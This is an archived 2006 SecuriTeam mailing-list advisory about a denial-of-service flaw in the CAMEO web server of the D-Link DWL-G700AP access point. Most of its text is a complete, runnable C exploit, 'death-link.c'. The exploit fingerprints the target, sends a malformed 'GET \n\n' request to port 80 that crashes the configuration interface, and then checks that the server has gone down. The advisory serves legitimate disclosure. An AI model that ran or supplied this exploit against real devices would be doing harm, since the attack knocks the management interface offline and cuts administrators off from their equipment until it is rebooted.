

[NEWS] D-Link DWL-G700AP httpd DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00063.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 19 Feb 2006 15:50:25 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

D-Link DWL-G700AP httpd DoS

SUMMARY

"The <<http://www.dlink.com/products/?sec=0&pid=326>> DWL-G700AP is Wi-Fi IEEE 802.11g compliant, meaning that it can connect and interoperate with other 802.11g compatible wireless client devices. "

By crafting a special HTTP GET string, attackers can DoS the D-Link DWL-G700A and cause the HTTP server to crash.

DETAILS

Vulnerable Systems:

- * D-Link DWL-G700AP firmware version 2.00
- * D-Link DWL-G700AP firmware version 2.01

The DWL-G700AP is an access point from D-Link with a configuration interface using HTTP service which is managed from a HTTPD called "CAMEO". This web server is very easy to DoS because all you have to do is send the AP the following string: "GET \n\n".

Exploit:
/*

[NEWS] D-Link DWL-G700AP httpd DoS

death-link.c

written by l0om
WWW.EXCLUDED.ORG

exploit tested on firmware: v2.00 and the latest v2.01
remote DoS exploit for the CAMEO-httpd which is running
on the D-Link
Accesspoint DWL-G700AP. After executing this the
accesspoint cannot be
configured anymore because the only way to administrate
the AP is the
administration with your browser. you have to reboot the
box to get the
httpd started again.

have phun!

// some greetings
maximilian, Prof. J. Dealer, Theldens, Commander Jansen,
ole, detach,
mattball, molke, murfie, vy99
excluded.org people, IT31 people

// the guys who made exploiting possible with buying this
AP
joerres, hermanns, schubert

*/

```
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
```

```
#define DOSSTRING "GET \n\n"
#define TARGET "CAMEO-httpd"
#define DESTPORT 80
```

```
int alive(char *ip);
int check_httpd(char *ip);
void help(void);
void header(void);
int DoS(char *ip);
```

```
int main(int argc, char **argv)
{
int fd, i, check = 0;
char *ip = NULL;
```

[NEWS] D-Link DWL-G700AP httpd DoS

```
header();

if(argc > 1)
for(i = 1; i < argc; i++)
if(argv[i][0] == '-')

switch(argv[i][1]) {

case 'o':

check = 2;

break;

case 'c':

check = 1;

break;

case 'h':

help();

break;

default:

printf("\t>> %s << unknown option\n",argv[i]);

exit(-1);
}
else ip = argv[i];

if(ip == NULL) help();

if(check) {
printf("\tchecking target... ");
fflush(stdout);
i = check_httpd(ip);
if(i <= 0) {
printf("faild! ");
if(!i) printf("invalid
target webserver\n");
else printf("webserver
already dead?\n");
exit(-1);
}
else printf("done! valid victim
detected\n");
if(check == 2) return 0;
```

[NEWS] D-Link DWL-G700AP httpd DoS

```
}

printf("\tsending DoS... "); fflush(stdout);
if(DoS(ip) <= 0) {
printf("failed!\n");
return -1;
} else printf("done!\n");

sleep(1);
printf("\tchecking webservice status... ");
fflush(stdout);
if(!alive(ip)) printf("%s DEAD\n",TARGET);
else printf("%s on %s is still alive :(\n",TARGET,ip);

return 0;
}

int check_httpd(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;

if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);

if(connect(sockfd, (struct sockaddr *)&servaddr,
sizeof(servaddr)) == -1)
return -1;

if(!write(sockfd, "GET / HTTP/1.0\n\n", 16))
return 0;
else nbytes = read(sockfd, buf, 500);

len = strlen(pattern);
ptr = buf;

while(nbytes--) {
if(*ptr == pattern[i])
i++;
else i = 0;
if(i == len) return 1;
else ptr++;
}
return 0;
}
```

[NEWS] D-Link DWL-G700AP httpd DoS

```
int alive(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;

if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);

if(connect(sockfd, (struct sockaddr *)&servaddr,
sizeof(servaddr)) == -1)
return 0;
else return 1;
}

int DoS(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;

if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);

if(connect(sockfd, (struct sockaddr *)&servaddr,
sizeof(servaddr)) == -1)
return 0;
else return(write(sockfd, DOSSTRING, strlen(DOSSTRING)));
}

void help(void)
{
printf("\tdeath-link [options] <ip-address>\n");
printf("\t-o: ONLY CHECK for valid target\n");
printf("\t-c: check for valid target\n");
printf("\t-h: help\n");
exit(0);
}

void header(void)
```

[NEWS] D-Link DWL-G700AP httpd DoS

```
{  
printf("\tdeath-link - written by l0om\n");  
printf("\t WWW.EXCLUDED.ORG\n");  
printf("\tDoS %s D-Link DWL-G700AP\n\n",TARGET);  
}
```

/* EoF */

ADDITIONAL INFORMATION

The information has been provided by <<mailto:innate@xxxxxx>> l0om.

The original article can be found at:

<<http://www.securityfocus.com/archive/1/425169/30/0/threaded>>

<http://www.securityfocus.com/archive/1/425169/30/0/threaded>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.